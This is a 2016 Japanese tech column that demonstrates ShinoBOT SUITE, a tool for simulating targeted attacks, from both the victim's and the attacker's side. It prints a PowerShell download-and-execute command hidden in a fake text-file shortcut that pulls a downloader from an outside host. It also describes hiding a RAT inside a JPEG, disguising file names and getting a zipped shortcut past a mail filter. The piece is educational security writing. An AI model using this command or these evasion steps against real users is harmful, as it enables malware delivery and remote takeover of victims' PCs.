清水理史の「イニシャルB」
標的型攻撃ってどういうこと? 「ShinoBOT SUITE」で実際の動作を体験する
(2016/3/22 06:00)
企業向けのセキュリティ対策などでは、もはや対策が不可欠になりつつある標的型攻撃。名前は聞いたことがあるものの、今までのマルウェアと何が違うのか? と疑問に思っている人も多いことだろう。その動作を「ShinoBOT SUITE」で体験してみた。
ひと手間もふた手間もかかっている
わざわざ狙ってくるのだから、これだけ手間をかけるのも当然か――。
シミュレーションとは言え、被害者の立場と同時に攻撃者の立場からも標的型攻撃の動作を体験してみると、その複雑さに驚かされる。
もちろん、最新の、そして実際の攻撃はもっと複雑なのだろうが、「ShinoBOT SUITE」を使ってみると、攻撃者が、RAT(Remote Access Tool)を、どんな手順で、どこから、どうやって偽装してターゲットに仕込むのか? そして実際にPCの制御を奪われるということがどういうことなのかが、よくわかる。
「ShinoBOT SUITE」は、マクニカネットワークス株式会社の凌 翔太氏が2014年に開催された世界最大級のセキュリティカンファレンス「Black Hat USA(Arsenal)」で公開した、標的型攻撃のシミュレーションツールだ。
同氏は、すでに2013年のBlack Hat USAで「ShinoBOT」という検証用のRATを公開していたが、2年目となる昨年、さらにShinoBOTを使った標的型攻撃のプロセスを体験することができるパッケージ「ShinoBOT SUITE」を公開したことになる。
同ツールは、同氏のWebサイト「http://shinosec.com/(英語)」からダウンロードすることが可能だが、GUIツールを利用してマウスを数回クリックするだけで、標的型攻撃に必要なRATをJPEGファイルに偽装された状態でダウンロードする、見た目はテキストファイルのショートカットにそっくりなファイルを作成することができる。
その動作に必要なデプロイサーバーやC&Cサーバーも、同氏がインターネット上に用意したものを利用できるようになっており、手軽に標的型攻撃の手法を体験することが可能だ。
実際、同ツールをダウンロードしようとすると、Windowsのスマートスクリーンでアクセスが遮断されるうえ、ShinoBOTそのものもWindows Defenderによって実行の遮断と削除が行われるため、「マルウェアそのものなんじゃないか?」と思う人もいるかもしれないが、実際のPCのコントロールはターゲットPCのレジストリに書き込まれたパスワードが必須になるなど、悪用されないようにするための工夫もなされており、あくまで検証を目的としたツールとして提供されている。
実際にテストする際は、仮想環境を用意したり、ネットワーク環境を分離するなどの配慮はした方がいいが、標的型攻撃とはどういうものなのかを理解するのには非常に優れたツールになっている。
何はともあれ動かしてみる
まずは、標的型攻撃がどのようなものなのかを体験してみるためにも、ShinoBOT SUITEで作成した疑似マルウェアを動作させてみることにする。
ShinoBOT SUITEを利用すると、「NSA_Certificate_Extension_RFC7169.txt」というテキストファイルへのショーカットが作成される。
実際の標的型攻撃では、「災害時の緊急対策方針変更について」や「マイナンバーの収集に当たっての注意事項について」など、いかにも仕事でありそうなファイル名を装ったオフィス文書やPDFとして、このようなファイルがメールに添付されて届くことになる。
何の疑いもなく、メールからこのファイルをダウンロードして実行すると、ノートパッドが起動してテキストファイルが表示される。見た目は通常の動作で、特に疑う余地もない。強いて言えば、若干、ファイルが開かれるまで時間がかかる程度だ。
しかし、この間に、静かに、そして実に巧妙に、攻撃は実行されている。
このショートカットの実体は、PowerShellのスクリプトだ。アイコンの形状やファイル名では判断できないが、プロパティを表示すると、以下のようにインターネット上のマルウェアデプロイサーバーから、「bb6c1a2c740cef5e_56CABE8B_dlwdr」というダウンローダーをダウンロードするファイルとなっている。
C:\Windows\system32\cmd.exe /c powershell (new-object System.Net.WebClient).DownloadFile('http://shinomal.mooo.com/files/bb6c1a2c740cef5e_56CABE8B_dlwdr','%TEMP%\License3B9.txt');& %TEMP%\License3B9.txt&::NSA_Certificate_Extension_RFC7169.txt
一般的なマルウェアの場合、このファイルそのものがマルウェアであるケースが多かったが、標的型攻撃の場合、その正体がばれないように静かに、少しずつ段階を経て攻撃が実行されるのが特徴だ。
上記のショートカットによってPCへとダウンロードされたダウンローダーは、まずユーザーをだますためのおとりとして、ショートカットの見た目通りの行動をする。今回の例であれば、ノートパッド(メモ帳)を起動してテキストファイルを表示するという動作だ。
ユーザーは、この動作ですっかり警戒心を解かれる。表示されたファイルの中身が業務と関係ないように思えたとしても、特に異変がないため、何とも思わない。そこが巧妙なところだ。
しかし、その裏でダウンローダーは、マルウェアデプロイサーバーと通信し、見た目はただの猫の画像でしかないJPEGファイルをダウンロードする。もちろん、このプロセスはユーザーには見えないが、こういった見えない部分も疑いをもたれないように偽装しているあたりが巧妙となる。
このJPEGファイルは、実は暗号化されたRATが仕込まれたファイルだ。RATは、Remote Access Toolの略で、遠隔操作によってPCをコントロールするためのプログラムだ。今回のShinoBOT SUITEの場合、その中核となるShinoBOTそのものとなる。
このため、このダウンロードのプロセスはいくつもの偽装によって、その正体が隠されている。RATがJPEGファイルに埋め込まれているだけでも巧妙だが、ダウンローダーはこのファイルを直接ダウンロードするのではなく、「~tmpCF9F09BF.tmp」のようなあたかもダウンロード中の一時ファイルであるかのように装ってテンポラリフォルダーへと保存する。
また、ダウンロードしたファイルを復号化して、RATの本体を取り出す際も、プログラムがRATであるかのように見せることはしない。今回の例であれば、「KB79590579.exe」のように更新ファイルを装ったファイルとして実行する。これがRATの本体だ。
もちろん、今回のShinoBOTは、検証を目的とした合法的なツールとなるため、そのままWindowsで実行すれば、Windows Defenderによって実行が阻止され(このためテスト時はセキュリティ対策ソフトは無効化する必要がある)、ファイルも除去される。また、タスクマネージャで「KB79590579.exe」のプロセスのプロパティを表示すれば、その実体が「SHINOBOT_NEO.exe」であることが確認できる。
PC上で起動したRATは、外部のC&Cサーバー(Ccommand and Controlサーバー)との間で、HTTPを利用した通信経路を確立する。この通信経路を利用して、攻撃者がC&Cサーバーから、さまざまなコマンドを実行すると、PCを意のままに操れるというわけだ。もはや、PCは自分のものであって、自分のものでない状況だ。
C&Cサーバーから何ができるか?
RATに乗っ取られたPCは、インターネット上のC&Cサーバーからコントロールすることができる。
ただし、前述したように、ShinoBOTはあくまでも検証用のツールであるため、実際にPCをコントロールするためには、ターゲットとなるPCのレジストリに書き込まれたパスワードを確認し、それをC&Cサーバーに入力して認証する必要がある。
もちろん、本物の攻撃では、こんなプロセスはなく、C&Cサーバーの命令に忠実に答える存在となる。
実際にどのような制御が可能になるかはRATにもよるが、基本的には何でもできると考えていい。
例えば、ShinoBOTの場合、コマンドプロンプトが表示されるので、ここからコマンドを指定して実行することができる。さまざまなサンプルが用意されており、新たなマルウェアをダウンロードさせたり、データをサーバーに吸い上げたり、メッセージを表示したりと、さまざまなことができる。
また、画面のスクリーンショットをボタン一発で撮影することができるうえ、コマンドを利用してWebカメラの映像を取得することも可能。 もちろん、IPアドレスなどのネットワークの情報やOSの情報なども丸見えだ。
まさに丸裸の状態と言える。
標的型攻撃のための費用を上層部に提案するときにでも、このデモを見せれば、一撃で説得することも不可能ではないだろう。それほどインパクトがある。
ShinoBOT SUITEを使うには
このように、実際の効果を見るだけでも勉強になるShinoBOT SUITEだが、このツールの真価は攻撃側の行動、つまりマルウェアの仕込み方を体験できる点だ。
その手順は、先の動作を逆にトレースするイメージだ。
ShinoBOT SUITEを起動後、最初にするのはShinoBOTを暗号化して仕込んだJPEGファイルを作成することだ。
暗号化と言っても、特に難しい操作は必要なく、基本的には画面上のグリーンのボタンを順番にクリックしていけばいい。これでShinoBOTが猫のJPEGファイルに姿を変える。
続いて、そのファイルをデプロイサーバーへとアップロードする。本来であれば、デプロイサーバーを用意する必要があるが、ShinoBOT SUITEでは、これらのサーバーも既存のものを利用できる。このため、単に「UPLOAD」ボタンをクリックして、アップロードするだけでかまわない。
次のステップはダウンローダーの作成だ。ダウンローダーは、PC上で動作し、デプロイサーバーに保存したJPEGファイル(RAT)のダウンロードと暗号化解除のためのプログラムだが、同時におとりとなるテキストファイルを表示する役割も担う。「DecoyFile」と呼ばれるおとり用のテキストファイル、およびRATを埋め込んだJPEGファイルをダウンロードする際に利用するダウンロード用ファイル名(~tmpCF9F09BF.tmpなど)と、復号化したRATを実行するためのファイル名(KB79590579.exe)を指定しておく。
作成したダウンローダーは、RATを埋め込んだJPEGファイルと同様にデプロイサーバーへとアップロードする。ダウンローダー本体のファイル名は「ShinoDownloader.exe」だが、そのままではあらかさまなので、「dd9341cc833788bc_53DA938A_xxxxx」などのファイル名に偽装する。
最後にこのダウンローダーを入手するためのスクリプトを仕込んだショートカットファイル(.lnk)ファイルを作成する。ショートカットファイルとして表示するファイル名として、いかにもメール添付ファイルとして送られてきそうなファイル名を指定し、そのアイコンを選択すれば完成だ。
ちなみに、こうして作成したショートカットファイルは、そのままではメールでは送れないが、Zipで圧縮すればメールに添付可能だ。試しに、自分のアカウント宛に送信してみたが、Gmailではマルウェアチェックで落とされたようで届かなかったものの、outlook.comのアカウントではそのまま受信することができた。
こういう抜けが利用されるのかと思うと、利用するサービスをどういった視点で選ぶべきなのかという勉強にもなるだろう。
試す場合は自己責任で
以上、ShinoBOT SUITEを利用して、標的型攻撃を体験してみたが、攻撃が何ステップにもわたって巧妙にしかけられていることが理解できたのではないだろうか。
「あやしいメールを開かない」などとい言われても、実際に体験してみると、いくらでも怪しく見えない工夫はできるのだから、そんな問題ではないこともよくわかる。マルウェア対策ソフトで検知できればいいが、未知のマルウェアだったり、いわゆるゼロデイと呼ばれる更新ファイルが配布される前の脆弱性を狙われれば、なすすべもない。
現状はサンドボックスによる対策などが有効と言われているが、サンドボックスを検知する攻撃も増えてきたため、実際にどう対策すればいいのかを判断するのは非常に難しいと言えそうだ。
ということで、もはや知らないでは済まない状況と言える。実際に試す場合は自己責任となるが、どういうものなのかを体験しておいて損はないと言えるだろう。